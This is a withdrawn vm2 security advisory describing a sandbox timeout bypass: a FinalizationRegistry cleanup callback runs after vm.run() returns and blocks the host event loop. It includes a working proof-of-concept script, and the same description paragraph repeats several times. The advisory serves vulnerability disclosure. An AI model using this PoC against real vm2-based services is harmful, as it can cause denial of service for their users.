CVE-2026-92942

vm2 before 3.11.7 (affected versions <= 3.11.6) does not enforce the VM({ timeout }) option on code executed outside the synchronous VM#run() call. The timeout only wraps the single call to _runScript() via doWithTimeout() in lib/vm.js, and FinalizationRegistry and WeakRef are exposed to sandboxed code unmodified (they are not among the hardened globals in lib/setup-sandbox.js). Sandboxed code can register a FinalizationRegistry cleanup callback against an object and then drop the only strong reference to it; vm.run() returns within the configured timeout, but when the V8 garbage collector later reclaims the object it invokes the sandboxed cleanup callback outside any vm2 timeout accounting. A busy loop in that callback blocks the host event loop for an unbounded period, resulting in denial of service. The time of invocation depends on the garbage collector (e.g. under memory pressure or with --expose-gc).

vm2 before 3.11.7 (affected versions <= 3.11.6) does not enforce the VM({ timeout }) option on code executed outside the synchronous VM#run() call. The timeout only wraps the single call to _runScript() via doWithTimeout() in lib/vm.js, and FinalizationRegistry and WeakRef are exposed to sandboxed code unmodified (they are not among the hardened globals in lib/setup-sandbox.js). Sandboxed code can register a FinalizationRegistry cleanup callback against an object and then drop the only strong reference to it; vm.run() returns within the configured timeout, but when the V8 garbage collector later reclaims the object it invokes the sandboxed cleanup callback outside any vm2 timeout accounting. A busy loop in that callback blocks the host event loop for an unbounded period, resulting in denial of service. The time of invocation depends on the garbage collector (e.g. under memory pressure or with --expose-gc).

Vulnerability Summary

vm2's VM({ timeout }) option is documented and relied upon as the mechanism that bounds how long sandboxed code may execute. In the current implementation, the timeout only wraps the single synchronous call to VM#run() (via doWithTimeout → this._runScript(script) in lib/vm.js). It does not, and structurally cannot, bound code that the V8 engine itself schedules to run after that call has already returned.

FinalizationRegistry and WeakRef are exposed to sandboxed code completely unmodified — they are not present anywhere in lib/setup-sandbox.js's list of specially-wrapped/hardened globals (only WeakMap, Promise, Proxy, Reflect, etc. receive hardening there). Sandboxed code can register a FinalizationRegistry callback against an object it creates and immediately drops. VM#run() returns normally, well within the configured timeout, because registration is instant. At some later point — determined entirely by the V8 garbage collector, and forceable on demand by the host process (e.g. under memory pressure, or via --expose-gc) — the engine invokes the sandboxed cleanup callback directly. This invocation is not mediated by doWithTimeout, Script.runInContext({timeout}), or any other vm2 accounting mechanism, because it isn't a new call to VM#run() at all — it's the GC's own native callback-invocation path.

Affected Code & Version

• Repository: patriksimek/vm2
• Version tested: 3.11.6 (commit a5b31cd9c01b37139aa9c71df1c691a6d1b440f9, 2026-08-14) — the current main branch, i.e. this reproduces on the latest release, after all 2026 CVE-wave fixes (CVE-2026-22709, CVE-2026-26956, and the May 2026 13-advisory batch).
• lib/vm.js, run() (~line 501) and doWithTimeout() (~line 105): the timeout option only wraps the single call to this._runScript(script). No mechanism exists to bound execution triggered by engine-internal callbacks scheduled outside that call.
• lib/setup-sandbox.js, lines 1–14: the module's captured/hardened globals list (LocalWeakMap, LocalProxy, LocalError, etc.) does not include FinalizationRegistry or WeakRef. Repo-wide grep for FinalizationRegistry|WeakRef returns zero matches in lib/, confirming neither receives any wrapping, restriction, or special handling — they are exposed to sandboxed code as bare, fully-functional constructors.

Steps to Reproduce

Environment: Node.js v22.22.2, vm2 checked out at the commit above, dependencies installed with npm install.

1. Clone and install:

   git clone https://github.com/patriksimek/vm2.git
   cd vm2 && npm install

2. Save as poc_timeout_bypass.js in the repo root:

   const { VM } = require('./lib/main.js');
 
   const CONFIGURED_TIMEOUT_MS = 200;
   const vm = new VM({ timeout: CONFIGURED_TIMEOUT_MS });
 
   const t0 = Date.now();
   let runError = null;
   try {
     vm.run(`
       let target = {};
       const registry = new FinalizationRegistry(() => {
         const busyStart = Date.now();
         while (Date.now() - busyStart < 3000) { /* burn CPU, block event loop */ }
       });
       registry.register(target, 'held-value');
       target = null; // drop only strong reference -> GC-eligible
     `);
   } catch (e) { runError = e.message; }
   const t1 = Date.now();
   console.log('vm.run() returned after', t1 - t0, 'ms. Threw:', runError);
 
   if (!global.gc) { console.log('Re-run with --expose-gc'); process.exit(1); }
   global.gc(); global.gc();
 
   const timerScheduledAt = Date.now();
   setTimeout(() => {
     const delay = Date.now() - timerScheduledAt;
     console.log('Host setTimeout(10ms) actually fired after', delay, 'ms');
     console.log('Total wall time since vm.run() returned:', Date.now() - t1, 'ms');
   }, 10);

3. Run: node --expose-gc poc_timeout_bypass.js
4. Observed output:

   vm.run() returned after 2 ms. Threw: null
   Host setTimeout(10ms) actually fired…

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-r4fx-v8hh-22mv. This link is maintained to preserve external references.

Original Description

vm2 before 3.11.7 (affected versions <= 3.11.6) does not enforce the VM({ timeout }) option on code executed outside the synchronous VM#run() call. The timeout only wraps the single call to _runScript() via doWithTimeout() in lib/vm.js, and FinalizationRegistry and WeakRef are exposed to sandboxed code unmodified (they are not among the hardened globals in lib/setup-sandbox.js). Sandboxed code can register a FinalizationRegistry cleanup callback against an object and then drop the only strong reference to it; vm.run() returns within the configured timeout, but when the V8 garbage collector later reclaims the object it invokes the sandboxed cleanup callback outside any vm2 timeout accounting. A busy loop in that callback blocks the host event loop for an unbounded period, resulting in denial of service. The time of invocation depends on the garbage collector (e.g. under memory pressure or with --expose-gc).

vm2 before 3.11.7 (affected versions <= 3.11.6) does not enforce the VM({ timeout }) option on code executed outside the synchronous VM#run() call. The timeout only wraps the single call to _runScript() via doWithTimeout() in lib/vm.js, and FinalizationRegistry and WeakRef are exposed to sandboxed code unmodified (they are not among the hardened globals in lib/setup-sandbox.js). Sandboxed code can register a FinalizationRegistry cleanup callback against an object and then drop the only strong reference to it; vm.run() returns within the configured timeout, but when the V8 garbage collector later reclaims the object it invokes the sandboxed cleanup callback outside any vm2 timeout accounting. A busy loop in that callback blocks the host event loop for an unbounded period, resulting in denial of service. The time of invocation depends on the garbage collector (e.g. under memory pressure or with --expose-gc).

vm2 before 3.11.7 (affected versions <= 3.11.6) does not enforce the VM({ timeout }) option on code executed outside the synchronous VM#run() call. The timeout only wraps the single call to _runScript() via doWithTimeout() in lib/vm.js, and FinalizationRegistry and WeakRef are exposed to sandboxed code unmodified (they are not among the hardened globals in lib/setup-sandbox.js). Sandboxed code can register a FinalizationRegistry cleanup callback against an object and then drop the only strong reference to it; vm.run() returns within the configured timeout, but when the V8 garbage collector later reclaims the object it invokes the sandboxed cleanup callback outside any vm2 timeout accounting. A busy loop in that callback blocks the host event loop for an unbounded period, resulting in denial of service. The time of invocation depends on the garbage collector (e.g. under memory pressure or with --expose-gc).